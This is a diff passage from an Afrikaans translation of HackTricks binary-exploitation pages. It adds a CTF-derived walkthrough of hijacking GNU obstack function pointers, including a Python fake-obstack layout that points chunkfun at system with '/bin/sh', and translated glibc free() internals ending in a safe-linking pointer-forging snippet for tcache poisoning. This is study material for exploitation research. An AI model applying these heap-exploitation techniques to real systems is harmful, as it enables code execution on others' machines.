+- Fast Bin attack om 'n globale array van chunks te wysig. Dit gee 'n arbitrary read/write primitive, wat dit moontlik maak om die GOT te wysig en een of ander function na `system` te laat wys.
+
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
+## Verwysings
+
+- [1] [Fastbin Attack - Nightmare](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html)
+- [2] [Nightmare: 0ctf babyheap (guyinatuxedo)](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)
+- [3] [Nightmare: csaw17 auir (guyinatuxedo)](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)
+- [4] [Nightmare: csaw19 traveller (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
+- [5] [Nightmare: csaw18 alienVSsamurai (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
+- [6] [Robot Factory – BlackHat MEA CTF 2022 (7rocky)](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md
new file mode 100644
index 00000000000..f307b25b383
--- /dev/null
+++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md
@@ -0,0 +1,65 @@
+# GNU obstack function-pointer hijack
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+GNU obstacks sluit allocator-state saam met allocator callbacks in. Die volgende offsets is afkomstig van die aangehaalde **x86-64 glibc 2.42 challenge build** en is nie ABI-stabiel nie:[[1]](#references)[[2]](#references)
+
+- `chunkfun` (offset `+0x38`) met signature `void *(*chunkfun)(void *, size_t)`
+- `freefun` (offset `+0x40`) met signature `void (*freefun)(void *, void *)`
+- `extra_arg` en `use_extra_arg` bepaal of `_obstack_newchunk` `chunkfun(new_size)` of `chunkfun(extra_arg, new_size)` deur glibc se compatibility macros aanroep.
+
+As ’n attacker ’n application-owned `struct obstack *` of sy velde kan korrupteer, aktiveer die volgende groei van die obstack (wanneer `next_free == chunk_limit`) ’n indirekte call deur `chunkfun`, wat code execution primitives moontlik maak.[[1]](#references)
+
+## Primitive: size_t desync → 0-byte allocation → pointer OOB write
+
+’n Algemene bug pattern is om ’n **32-bit register** te gebruik om `sizeof(ptr) * count` te bereken terwyl die logiese lengte in ’n 64-bit `size_t` gestoor word.[[1]](#references)
+
+- Example: `elements = obstack_alloc(obs, sizeof(void *) * size);` word as `SHL EAX,0x3` gecompileer vir `size << 3`.
+- Met `size = 0x20000000` en `sizeof(void *) = 8` wrap die vermenigvuldiging na `0x0` in 32-bit, dus is die pointer array **0 bytes**, maar die aangetekende `size` bly `0x20000000`.
+- Daaropvolgende `elements[curr++] = ptr;`-writes voer **8-byte OOB pointer stores** na aangrensende heap objects uit, wat ’n controlled cross-object overwrite primitive bied.[[1]](#references)
+
+## libc leak via `obstack.chunkfun`
+
+1. Plaas twee heap objects langs mekaar (byvoorbeeld twee stacks wat met aparte obstacks gebou is).
+2. Gebruik die pointer-array OOB write van object A om object B se `elements` pointer te overwrite sodat ’n `pop`/read van B ’n adres binne object A se obstack dereference.
+3. Lees `chunkfun` (`malloc` by default) by offset `0x38` om ’n libc function pointer te discloseer, bereken dan `libc_base = leak - malloc_offset` en lei ander symbols af (byvoorbeeld `system`, `"/bin/sh"`).[[1]](#references)
+
+## Hijacking `chunkfun` with a fake obstack
+
+Overwrite ’n victim se gestorde `struct obstack *` om na attacker-controlled data te wys wat die obstack header naboots. Minimum velde wat benodig word:[[1]](#references)
+
+- `next_free == chunk_limit` om `_obstack_newchunk` op die volgende push te forceer
+- `chunkfun = system_addr`
+- `extra_arg = binsh_addr`, `use_extra_arg = 1` om die two-argument call form te kies
+
+Wanneer groei ge-trigger word, invokeer dit die forged callback. In die gedemonstreerde System V x86-64 chain plaas die instelling van `chunkfun=system`, `extra_arg="/bin/sh"` en `use_extra_arg=1` die string pointer in die eerste argument register; die ekstra size argument word deur `system` geïgnoreer. Her-evalueer calling conventions en control-flow protections op ander targets.[[1]](#references)
+
+Example fake obstack layout (glibc 2.42 offsets):
+```python
+fake = b""
+fake += p64(0x1000) # chunk_size
+fake += p64(heap_leak) # chunk
+fake += p64(heap_leak) # object_base
+fake += p64(heap_leak) # next_free == chunk_limit
+fake += p64(heap_leak) # chunk_limit
+fake += p64(0xF) # alignment_mask
+fake += p64(0) # temp
+fake += p64(system_addr) # chunkfun
+fake += p64(0) # freefun
+fake += p64(binsh_addr) # extra_arg
+fake += p64(1) # use_extra_arg flag set
+```
+## Aanvalresep
+
+1. **Trigger size wrap** om 'n 0-byte pointer array met 'n enorme logiese lengte te skep.
+2. **Groom adjacency** sodat 'n OOB pointer store 'n naburige object bereik wat 'n obstack pointer bevat.
+3. **Leak libc** deur 'n victim pointer na die naburige obstack se `chunkfun` te herlei en die function pointer te lees.
+4. **Forge obstack**-data met beheerde `chunkfun`/`extra_arg` en dwing `_obstack_newchunk` om in die forged header te land, wat 'n function-pointer call van die aanvaller se keuse lewer.[[1]](#references)
+
+## References
+
+- [1] [Flagvent 2025 FV25.08 obstack exploit (0xdf)](https://0xdf.gitlab.io/flagvent2025/hard)
+- [2] [GNU C Library-handleiding — Obstacks](https://sourceware.org/glibc/manual/latest/html_node/Obstacks.html)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
index 04855d5fb8f..67f5db5acfd 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
@@ -1,7 +1,12 @@
-# Heap Memory Functions
+# Heap-geheuefunksies
{{#include ../../../banners/hacktricks-training.md}}
-##
+Die C-allokasie-koppelvlak sentreer rondom `malloc`, `calloc`, `realloc` en `free`: `malloc` reserveer 'n ongeïnitialiseerde blok, `calloc` allokeer en maak 'n skikking skoon, `realloc` verander die grootte van 'n bestaande allokasie, en `free` stel 'n allokasie vry. In glibc word hierdie oproepe deur allocator-internals ondersteun, waarvan die metadata en konsekwentheidskontroles belangrik is wanneer heap-korrupsie bestudeer word.[[1]](#references)
+Die bladsye in hierdie afdeling beskryf die relevante allokasie- en vrystellingspaaie, die `unlink`-operasie en sekuriteitskontroles wat deur heap-management-funksies uitgevoer word. Allocator-gedrag verander tussen glibc-weergawes, dus moet jy die teiken se presiese biblioteekbou verifieer voordat jy op 'n spesifieke datastruktuur of exploitation-tegniek staatmaak.[[1]](#references)
+
+## References
+
+- [1] [GNU C Library Manual - Opsomming van `malloc`-verwante funksies](https://sourceware.org/glibc/manual/latest/html_node/Summary-of-Malloc.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
index e57b1fa77ee..1a7b4acc20a 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
@@ -2,95 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Free Order Summary
+## Free-volgordesamevatting
-(No checks are explained in this summary and some case have been omitted for brevity)
+(Geen checks word in hierdie samevatting verduidelik nie, en sommige gevalle is ter wille van bondigheid weggelaat)
-1. If the address is null don't do anything
-2. If the chunk was mmaped, mummap it and finish
-3. Call `_int_free`:
- 1. If possible, add the chunk to the tcache
- 2. If possible, add the chunk to the fast bin
- 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
+1. As die adres null is, doen niks
+2. As die chunk gemmap is, unmap dit en voltooi
+3. Roep `_int_free` aan:
+1. Indien moontlik, voeg die chunk by die tcache
+2. Indien moontlik, voeg die chunk by die fast bin
+3. Roep `_int_free_merge_chunk` aan om die chunk te konsolideer indien nodig en dit by die unsorted list te voeg
-## \_\_libc_free
+> Nota: Vanaf glibc 2.42 kan die tcache-stap ook chunks tot by ’n veel groter groottelimiet aanvaar indien `glibc.malloc.tcache_max` verhoog is (tot 4 MiB). Dit verander wanneer ’n free in tcache teenoor unsorted/small/large bins beland.[[1]](#references)
-`Free` calls `__libc_free`.
+## __libc_free
-- If the address passed is Null (0) don't do anything.
+`Free` roep `__libc_free` aan.
+
+- As die adres wat deurgegee is Null (0), doen niks.
- Check pointer tag
-- If the chunk is `mmaped`, `mummap` it and that all
-- If not, add the color and call `_int_free` over it
+- As die chunk gemmap is, roep `munmap` aan en voltooi
+- Indien nie, voeg die color by en roep `_int_free` daaroor aan
__lib_free code
-
```c
void
__libc_free (void *mem)
{
- mstate ar_ptr;
- mchunkptr p; /* chunk corresponding to mem */
-
- if (mem == 0) /* free(0) has no effect */
- return;
-
- /* Quickly check that the freed pointer matches the tag for the memory.
- This gives a useful double-free detection. */
- if (__glibc_unlikely (mtag_enabled))
- *(volatile char *)mem;
-
- int err = errno;
-
- p = mem2chunk (mem);
-
- if (chunk_is_mmapped (p)) /* release mmapped memory. */
- {
- /* See if the dynamic brk/mmap threshold needs adjusting.
- Dumped fake mmapped chunks do not affect the threshold. */
- if (!mp_.no_dyn_threshold
- && chunksize_nomask (p) > mp_.mmap_threshold
- && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
- {
- mp_.mmap_threshold = chunksize (p);
- mp_.trim_threshold = 2 * mp_.mmap_threshold;
- LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
- mp_.mmap_threshold, mp_.trim_threshold);
- }
- munmap_chunk (p);
- }
- else
- {
- MAYBE_INIT_TCACHE ();
-
- /* Mark the chunk as belonging to the library again. */
- (void)tag_region (chunk2mem (p), memsize (p));
-
- ar_ptr = arena_for_chunk (p);
- _int_free (ar_ptr, p, 0);
- }
-
- __set_errno (err);
+mstate ar_ptr;
+mchunkptr p; /* chunk corresponding to mem */
+
+if (mem == 0) /* free(0) has no effect */
+return;
+
+/* Quickly check that the freed pointer matches the tag for the memory.
+This gives a useful double-free detection. */
+if (__glibc_unlikely (mtag_enabled))
+*(volatile char *)mem;
+
+int err = errno;
+
+p = mem2chunk (mem);
+
+if (chunk_is_mmapped (p)) /* release mmapped memory. */
+{
+/* See if the dynamic brk/mmap threshold needs adjusting.
+Dumped fake mmapped chunks do not affect the threshold. */
+if (!mp_.no_dyn_threshold
+&& chunksize_nomask (p) > mp_.mmap_threshold
+&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
+{
+mp_.mmap_threshold = chunksize (p);
+mp_.trim_threshold = 2 * mp_.mmap_threshold;
+LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
+mp_.mmap_threshold, mp_.trim_threshold);
+}
+munmap_chunk (p);
+}
+else
+{
+MAYBE_INIT_TCACHE ();
+
+/* Mark the chunk as belonging to the library again. */
+(void)tag_region (chunk2mem (p), memsize (p));
+
+ar_ptr = arena_for_chunk (p);
+_int_free (ar_ptr, p, 0);
+}
+
+__set_errno (err);
}
libc_hidden_def (__libc_free)
```
-
-## \_int_free
+## _int_free
-### \_int_free start
+### _int_free start
-It starts with some checks making sure:
+Dit begin met ’n paar kontroles om seker te maak:
-- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
-- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
+- die **pointer** is **belyn,** of aktiveer fout `free(): invalid pointer`
+- die **grootte** is nie kleiner as die minimum nie en dat die **grootte** ook **belyn** is, of aktiveer fout: `free(): invalid size`
_int_free start
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@@ -99,288 +98,340 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
- INTERNAL_SIZE_T size; /* its size */
- mfastbinptr *fb; /* associated fastbin */
-
- size = chunksize (p);
-
- /* Little security check which won't hurt performance: the
- allocator never wraps around at the end of the address space.
- Therefore we can exclude some size values which might appear
- here by accident or by "design" from some intruder. */
- if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
- || __builtin_expect (misaligned_chunk (p), 0))
- malloc_printerr ("free(): invalid pointer");
- /* We know that each chunk is at least MINSIZE bytes in size or a
- multiple of MALLOC_ALIGNMENT. */
- if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
- malloc_printerr ("free(): invalid size");
-
- check_inuse_chunk(av, p);
+INTERNAL_SIZE_T size; /* its size */
+mfastbinptr *fb; /* associated fastbin */
+
+size = chunksize (p);
+
+/* Little security check which won't hurt performance: the
+allocator never wraps around at the end of the address space.
+Therefore we can exclude some size values which might appear
+here by accident or by "design" from some intruder. */
+if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
+|| __builtin_expect (misaligned_chunk (p), 0))
+malloc_printerr ("free(): invalid pointer");
+/* We know that each chunk is at least MINSIZE bytes in size or a
+multiple of MALLOC_ALIGNMENT. */
+if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
+malloc_printerr ("free(): invalid size");
+
+check_inuse_chunk(av, p);
```
-
-### \_int_free tcache
+### _int_free tcache
-It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
+Dit sal eers probeer om hierdie chunk in die verwante tcache te allokeer. Sommige checks word egter vooraf uitgevoer. Dit sal deur al die chunks van die tcache met dieselfde index as die freed chunk loop en:
-- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
-- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
-- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
+- As daar meer entries as `mp_.tcache_count` is: `free(): too many chunks detected in tcache`
+- As die entry nie aligned is nie: `free(): unaligned chunk detected in tcache 2`
+- As die freed chunk reeds gefreed is en as 'n chunk in die tcache teenwoordig is: `free(): double free detected in tcache 2`
-If all goes well, the chunk is added to the tcache and the functions returns.
+As alles goed verloop, word die chunk by die tcache gevoeg en die funksie keer terug.
_int_free tcache
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
- {
- size_t tc_idx = csize2tidx (size);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- /* Check to see if it's already in the tcache. */
- tcache_entry *e = (tcache_entry *) chunk2mem (p);
-
- /* This test succeeds on double free. However, we don't 100%
- trust it (it also matches random payload data at a 1 in
- 2^ chance), so verify it's not an unlikely
- coincidence before aborting. */
- if (__glibc_unlikely (e->key == tcache_key))
- {
- tcache_entry *tmp;
- size_t cnt = 0;
- LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
- for (tmp = tcache->entries[tc_idx];
- tmp;
- tmp = REVEAL_PTR (tmp->next), ++cnt)
- {
- if (cnt >= mp_.tcache_count)
- malloc_printerr ("free(): too many chunks detected in tcache");
- if (__glibc_unlikely (!aligned_OK (tmp)))
- malloc_printerr ("free(): unaligned chunk detected in tcache 2");
- if (tmp == e)
- malloc_printerr ("free(): double free detected in tcache 2");
- /* If we get here, it was a coincidence. We've wasted a
- few cycles, but don't abort. */
- }
- }
-
- if (tcache->counts[tc_idx] < mp_.tcache_count)
- {
- tcache_put (p, tc_idx);
- return;
- }
- }
- }
+{
+size_t tc_idx = csize2tidx (size);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+/* Check to see if it's already in the tcache. */
+tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+/* This test succeeds on double free. However, we don't 100%
+trust it (it also matches random payload data at a 1 in
+2^ chance), so verify it's not an unlikely
+coincidence before aborting. */
+if (__glibc_unlikely (e->key == tcache_key))
+{
+tcache_entry *tmp;
+size_t cnt = 0;
+LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+for (tmp = tcache->entries[tc_idx];
+tmp;
+tmp = REVEAL_PTR (tmp->next), ++cnt)
+{
+if (cnt >= mp_.tcache_count)
+malloc_printerr ("free(): too many chunks detected in tcache");
+if (__glibc_unlikely (!aligned_OK (tmp)))
+malloc_printerr ("free(): unaligned chunk detected in tcache 2");
+if (tmp == e)
+malloc_printerr ("free(): double free detected in tcache 2");
+/* If we get here, it was a coincidence. We've wasted a
+few cycles, but don't abort. */
+}
+}
+
+if (tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (p, tc_idx);
+return;
+}
+}
+}
#endif
```
-
-### \_int_free fast bin
+### _int_free fast bin
-Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
+Begin deur te kontroleer of die size geskik is vir fast bin en of dit moontlik is om dit naby die top chunk te plaas.
-Then, add the freed chunk at the top of the fast bin while performing some checks:
+Voeg daarna die vrygestelde chunk bo-aan die fast bin by terwyl sekere kontroles uitgevoer word:
-- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
-- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
-- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
+- As die size van die chunk ongeldig is (te groot of te klein), word die volgende fout geaktiveer: `free(): invalid next size (fast)`
+- As die bygevoegde chunk reeds bo-aan die fast bin was: `double free or corruption (fasttop)`
+- As die size van die chunk bo-aan verskil van die size van die chunk wat ons byvoeg: `invalid fastbin entry (free)`
_int_free Fast Bin
-
```c
- // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
- /*
- If eligible, place chunk on a fastbin so it can be found
- and used quickly in malloc.
- */
+/*
+If eligible, place chunk on a fastbin so it can be found
+and used quickly in malloc.
+*/
- if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
- /*
- If TRIM_FASTBINS set, don't place chunks
- bordering top into fastbins
- */
- && (chunk_at_offset(p, size) != av->top)
+/*
+If TRIM_FASTBINS set, don't place chunks
+bordering top into fastbins
+*/
+&& (chunk_at_offset(p, size) != av->top)
#endif
- ) {
-
- if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
- <= CHUNK_HDR_SZ, 0)
- || __builtin_expect (chunksize (chunk_at_offset (p, size))
- >= av->system_mem, 0))
- {
- bool fail = true;
- /* We might not have a lock at this point and concurrent modifications
- of system_mem might result in a false positive. Redo the test after
- getting the lock. */
- if (!have_lock)
- {
- __libc_lock_lock (av->mutex);
- fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
- || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
- __libc_lock_unlock (av->mutex);
- }
-
- if (fail)
- malloc_printerr ("free(): invalid next size (fast)");
- }
-
- free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
-
- atomic_store_relaxed (&av->have_fastchunks, true);
- unsigned int idx = fastbin_index(size);
- fb = &fastbin (av, idx);
-
- /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
- mchunkptr old = *fb, old2;
-
- if (SINGLE_THREAD_P)
- {
- /* Check that the top of the bin is not the record we are going to
- add (i.e., double free). */
- if (__builtin_expect (old == p, 0))
- malloc_printerr ("double free or corruption (fasttop)");
- p->fd = PROTECT_PTR (&p->fd, old);
- *fb = p;
- }
- else
- do
- {
- /* Check that the top of the bin is not the record we are going to
- add (i.e., double free). */
- if (__builtin_expect (old == p, 0))
- malloc_printerr ("double free or corruption (fasttop)");
- old2 = old;
- p->fd = PROTECT_PTR (&p->fd, old);
- }
- while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
- != old2);
-
- /* Check that size of fastbin chunk at the top is the same as
- size of the chunk that we are adding. We can dereference OLD
- only if we have the lock, otherwise it might have already been
- allocated again. */
- if (have_lock && old != NULL
- && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
- malloc_printerr ("invalid fastbin entry (free)");
- }
-```
+) {
+
+if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
+<= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (chunksize (chunk_at_offset (p, size))
+>= av->system_mem, 0))
+{
+bool fail = true;
+/* We might not have a lock at this point and concurrent modifications
+of system_mem might result in a false positive. Redo the test after
+getting the lock. */
+if (!have_lock)
+{
+__libc_lock_lock (av->mutex);
+fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
+|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
+__libc_lock_unlock (av->mutex);
+}
+if (fail)
+malloc_printerr ("free(): invalid next size (fast)");
+}
+
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+
+atomic_store_relaxed (&av->have_fastchunks, true);
+unsigned int idx = fastbin_index(size);
+fb = &fastbin (av, idx);
+
+/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
+mchunkptr old = *fb, old2;
+
+if (SINGLE_THREAD_P)
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free). */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+p->fd = PROTECT_PTR (&p->fd, old);
+*fb = p;
+}
+else
+do
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free). */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+old2 = old;
+p->fd = PROTECT_PTR (&p->fd, old);
+}
+while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
+!= old2);
+
+/* Check that size of fastbin chunk at the top is the same as
+size of the chunk that we are adding. We can dereference OLD
+only if we have the lock, otherwise it might have already been
+allocated again. */
+if (have_lock && old != NULL
+&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
+malloc_printerr ("invalid fastbin entry (free)");
+}
+```
-### \_int_free finale
+### _int_free finale
-If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
+As die chunk nog nie op enige bin geallokeer is nie, roep `_int_free_merge_chunk` aan
_int_free finale
-
```c
/*
- Consolidate other non-mmapped chunks as they arrive.
- */
+Consolidate other non-mmapped chunks as they arrive.
+*/
- else if (!chunk_is_mmapped(p)) {
+else if (!chunk_is_mmapped(p)) {
- /* If we're single-threaded, don't lock the arena. */
- if (SINGLE_THREAD_P)
- have_lock = true;
+/* If we're single-threaded, don't lock the arena. */
+if (SINGLE_THREAD_P)
+have_lock = true;
- if (!have_lock)
- __libc_lock_lock (av->mutex);
+if (!have_lock)
+__libc_lock_lock (av->mutex);
- _int_free_merge_chunk (av, p, size);
+_int_free_merge_chunk (av, p, size);
- if (!have_lock)
- __libc_lock_unlock (av->mutex);
- }
- /*
- If the chunk was allocated via mmap, release via munmap().
- */
+if (!have_lock)
+__libc_lock_unlock (av->mutex);
+}
+/*
+If the chunk was allocated via mmap, release via munmap().
+*/
- else {
- munmap_chunk (p);
- }
+else {
+munmap_chunk (p);
+}
}
```
-
-## \_int_free_merge_chunk
+## _int_free_merge_chunk
-This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
+Hierdie funksie sal probeer om chunk P van SIZE bytes met sy bure saam te voeg. Plaas die resulterende chunk op die unsorted bin-lys.
-Some checks are performed:
+Sommige kontroles word uitgevoer:
-- If the chunk is the top chunk: `double free or corruption (top)`
-- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
-- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
-- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
-- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
+- As die chunk die top chunk is: `double free or corruption (top)`
+- As die volgende chunk buite die grense van die arena is: `double free or corruption (out)`
+- As die chunk nie as gebruik gemerk is nie (in die `prev_inuse` van die volgende chunk): `double free or corruption (!prev)`
+- As die volgende chunk se grootte te klein of te groot is: `free(): invalid next size (normal)`
+- As die vorige chunk nie in gebruik is nie, sal dit probeer om te consolidate. Maar as die prev_size verskil van die grootte wat in die vorige chunk aangedui word: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
- resulting chunk on the appropriate bin list. P must not be on a
- bin list yet, and it can be in use. */
+resulting chunk on the appropriate bin list. P must not be on a
+bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
- mchunkptr nextchunk = chunk_at_offset(p, size);
-
- /* Lightweight tests: check whether the block is already the
- top block. */
- if (__glibc_unlikely (p == av->top))
- malloc_printerr ("double free or corruption (top)");
- /* Or whether the next chunk is beyond the boundaries of the arena. */
- if (__builtin_expect (contiguous (av)
- && (char *) nextchunk
- >= ((char *) av->top + chunksize(av->top)), 0))
- malloc_printerr ("double free or corruption (out)");
- /* Or whether the block is actually not marked used. */
- if (__glibc_unlikely (!prev_inuse(nextchunk)))
- malloc_printerr ("double free or corruption (!prev)");
-
- INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
- if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
- || __builtin_expect (nextsize >= av->system_mem, 0))
- malloc_printerr ("free(): invalid next size (normal)");
-
- free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
-
- /* Consolidate backward. */
- if (!prev_inuse(p))
- {
- INTERNAL_SIZE_T prevsize = prev_size (p);
- size += prevsize;
- p = chunk_at_offset(p, -((long) prevsize));
- if (__glibc_unlikely (chunksize(p) != prevsize))
- malloc_printerr ("corrupted size vs. prev_size while consolidating");
- unlink_chunk (av, p);
- }
-
- /* Write the chunk header, maybe after merging with the following chunk. */
- size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
- _int_free_maybe_consolidate (av, size);
+mchunkptr nextchunk = chunk_at_offset(p, size);
+
+/* Lightweight tests: check whether the block is already the
+top block. */
+if (__glibc_unlikely (p == av->top))
+malloc_printerr ("double free or corruption (top)");
+/* Or whether the next chunk is beyond the boundaries of the arena. */
+if (__builtin_expect (contiguous (av)
+&& (char *) nextchunk
+>= ((char *) av->top + chunksize(av->top)), 0))
+malloc_printerr ("double free or corruption (out)");
+/* Or whether the block is actually not marked used. */
+if (__glibc_unlikely (!prev_inuse(nextchunk)))
+malloc_printerr ("double free or corruption (!prev)");
+
+INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
+if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (nextsize >= av->system_mem, 0))
+malloc_printerr ("free(): invalid next size (normal)");
+
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+
+/* Consolidate backward. */
+if (!prev_inuse(p))
+{
+INTERNAL_SIZE_T prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size while consolidating");
+unlink_chunk (av, p);
}
-```
+/* Write the chunk header, maybe after merging with the following chunk. */
+size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
+_int_free_maybe_consolidate (av, size);
+}
+```
+---
+
+## Aanvaller-notas en onlangse veranderinge (2023–2025)
+
+- Safe-Linking in tcache/fastbins: `free()` stoor die `fd` pointer van singly-linked lists met die macro `PROTECT_PTR(pos, ptr) = ((size_t)pos >> 12) ^ (size_t)ptr`. Dit beteken dat die samestelling van ’n fake next pointer vir tcache poisoning vereis dat die aanvaller ’n heap-adres ken (byvoorbeeld, leak `chunk_addr`, en gebruik dan `chunk_addr >> 12` as die XOR key). Sien meer besonderhede en PoCs op die tcache-bladsy hieronder.
+- Tcache double-free detection: Voordat ’n chunk in tcache geplaas word, kontroleer `free()` die per-entry `e->key` teen die per-thread `tcache_key` en loop deur die bin tot by `mp_.tcache_count` op soek na duplicates. Dit breek dan af met `free(): double free detected in tcache 2` wanneer dit gevind word.
+- Onlangse glibc-verandering (2.42): `free()` kan nou **baie groter arena chunks** binne tcache hou wanneer `glibc.malloc.tcache_max` bo die historiese limiet verhoog word (tot **4 MiB**). Daarom is aannames soos “large free => unsorted bin” nie meer betroubaar op moderne, aangepaste targets nie. **Mmapped chunks word steeds nie in tcache gecache nie.**[[1]](#references)
+- Heap-grooming gotcha (glibc 2.42+): indien jou eerste heap-aktiwiteit **large chunks** gebruik wat nooit aan tcache raak nie, kan die `tcache_perthread_struct` **later** geïnisialiseer word as in ouer labs. Dit kan tcache-metadata **ná attacker-controlled large chunks** plaas, wat nuttig is wanneer ’n overflow/UAF later daardie metadata kan teiken.[[2]](#references)
+
+### Vinnige samestelling van ’n safe-linked fd (vir tcache poisoning)
+```py
+# Given a leaked heap pointer to an entry located at &entry->next == POS
+# compute the protected fd that points to TARGET
+protected_fd = TARGET ^ (POS >> 12)
+```
+- Vir 'n volledige tcache poisoning walkthrough (en die beperkings daarvan onder safe-linking), sien:
+
+{{#ref}}
+../tcache-bin-attack.md
+{{#endref}}
+
+### Forseer frees om unsorted/small bins tydens navorsing te bereik
+
+Soms wil jy tcache heeltemal vermy in 'n plaaslike laboratorium om klassieke `_int_free`-gedrag (unsorted bin consolidation, ens.) waar te neem. Jy kan dit met GLIBC_TUNABLES doen:
